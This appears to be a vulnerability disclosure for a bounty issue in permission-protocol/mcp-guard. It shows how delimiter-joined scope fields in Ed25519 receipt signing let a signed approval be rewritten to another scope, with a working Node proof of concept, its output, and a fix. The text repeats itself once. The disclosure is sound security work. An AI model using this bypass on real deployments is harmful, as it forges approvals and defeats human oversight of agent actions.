This is a claim for #36.
I found a scope-binding flaw in the Ed25519 receipt flow in permission-protocol/mcp-guard.
Summary
buildSigningBytes() signs scope fields by concatenating unescaped strings:
<receipt_id>.<request_payload_hash>.scope=<scope>.scope_ref=<scope_ref>.scope_sha=<scope_sha>
Because scope, scope_ref, and scope_sha are not length-prefixed, escaped, or encoded as a canonical structured object, the signing input is not injective. A receipt signed for one scope tuple can be rewritten into a different scope tuple while preserving the exact Ed25519 signing bytes, so verification still passes.
This is a signature-binding issue, not a GitHub status spoof, social engineering, or infrastructure attack.
Reproduction
I reproduced this locally against permission-protocol/mcp-guard at commit 54a8628 after:
npm ci --ignore-scripts --no-audit --no-fund
npm run build
Run:
node --input-type=module <<'NODE'
import { createReceipt, signReceipt } from './dist/src/receipt.js';
import { verifyReceiptOffline } from './dist/src/receipt-verify.js';
import { getPublicKeyPem } from './dist/src/signer.js';
const decision = {
decision: 'held_for_approval',
rule_id: 'merge-pr',
reason: 'test',
lane: 'decide',
reversibility: 'reversible',
};
const signedAs = {
scope: 'github:merge',
scope_ref: 'refs/pull/32/merge.scope_sha=deadbeef',
scope_sha: 'trail',
};
const tampered = {
scope: 'github:merge',
scope_ref: 'refs/pull/32/merge',
scope_sha: 'deadbeef.scope_sha=trail',
};
const receipt = createReceipt(
'agent',
'merge_pr',
decision,
{ pr_number: 32, scope_ref: signedAs.scope_ref, scope_sha: signedAs.scope_sha },
'infra-mcp',
'enforce',
signedAs,
);
signReceipt(receipt, 'human');
const before = verifyReceiptOffline(receipt, getPublicKeyPem(), signedAs);
receipt.scope = tampered.scope;
receipt.scope_ref = tampered.scope_ref;
receipt.scope_sha = tampered.scope_sha;
const afterFull = verifyReceiptOffline(receipt, getPublicKeyPem(), tampered);
const afterPartial = verifyReceiptOffline(receipt, getPublicKeyPem(), {
scope: tampered.scope,
scope_ref: tampered.scope_ref,
});
console.log(JSON.stringify({ signedAs, tampered, before, afterFull, afterPartial }, null, 2));
NODE
Observed:
{
"signedAs": {
"scope": "github:merge",
"scope_ref": "refs/pull/32/merge.scope_sha=deadbeef",
"scope_sha": "trail"
},
"tampered": {
"scope": "github:merge",
"scope_ref": "refs/pull/32/merge",
"scope_sha": "deadbeef.scope_sha=trail"
},
"before": {
"valid": true,
"reasons": []
},
"afterFull": {
"valid": true,
"reasons": []
},
"afterPartial": {
"valid": true,
"reasons": []
}
}
The same signature verifies before and after rewriting the scope tuple.
Impact
The exact GitHub headSha case is harder if the verifier always requires a strict hex SHA, but the verifier surface allows optional expected fields, and the local scope derivation accepts caller-controlled scope_ref / scope_sha strings for code and infra tools. Any gate that checks only scope and scope_ref, or that accepts non-hex scope IDs for non-GitHub actions, can accept a receipt for a different action than the one that was signed.
Suggested fix
Sign a canonical structured object instead of a delimiter-joined string, for example stable JSON over:
{
"receipt_id": "...",
"request_payload_hash": "...",
"scope": "...",
"scope_ref": "...",
"scope_sha": "..."
}
Also validate scope grammar before signing and verifying. For GitHub receipts, scope_sha should be a strict commit SHA and scope_ref should match the expected ref pattern.
I can open a PR with a regression test and the canonical signing change if you want it.
This is a claim for #36.
I found a scope-binding flaw in the Ed25519 receipt flow in
permission-protocol/mcp-guard.Summary
buildSigningBytes()signs scope fields by concatenating unescaped strings:Because
scope,scope_ref, andscope_shaare not length-prefixed, escaped, or encoded as a canonical structured object, the signing input is not injective. A receipt signed for one scope tuple can be rewritten into a different scope tuple while preserving the exact Ed25519 signing bytes, so verification still passes.This is a signature-binding issue, not a GitHub status spoof, social engineering, or infrastructure attack.
Reproduction
I reproduced this locally against
permission-protocol/mcp-guardat commit54a8628after:Run:
Observed:
{ "signedAs": { "scope": "github:merge", "scope_ref": "refs/pull/32/merge.scope_sha=deadbeef", "scope_sha": "trail" }, "tampered": { "scope": "github:merge", "scope_ref": "refs/pull/32/merge", "scope_sha": "deadbeef.scope_sha=trail" }, "before": { "valid": true, "reasons": [] }, "afterFull": { "valid": true, "reasons": [] }, "afterPartial": { "valid": true, "reasons": [] } }The same signature verifies before and after rewriting the scope tuple.
Impact
The exact GitHub
headShacase is harder if the verifier always requires a strict hex SHA, but the verifier surface allows optional expected fields, and the local scope derivation accepts caller-controlledscope_ref/scope_shastrings for code and infra tools. Any gate that checks onlyscopeandscope_ref, or that accepts non-hex scope IDs for non-GitHub actions, can accept a receipt for a different action than the one that was signed.Suggested fix
Sign a canonical structured object instead of a delimiter-joined string, for example stable JSON over:
{ "receipt_id": "...", "request_payload_hash": "...", "scope": "...", "scope_ref": "...", "scope_sha": "..." }Also validate scope grammar before signing and verifying. For GitHub receipts,
scope_shashould be a strict commit SHA andscope_refshould match the expected ref pattern.I can open a PR with a regression test and the canonical signing change if you want it.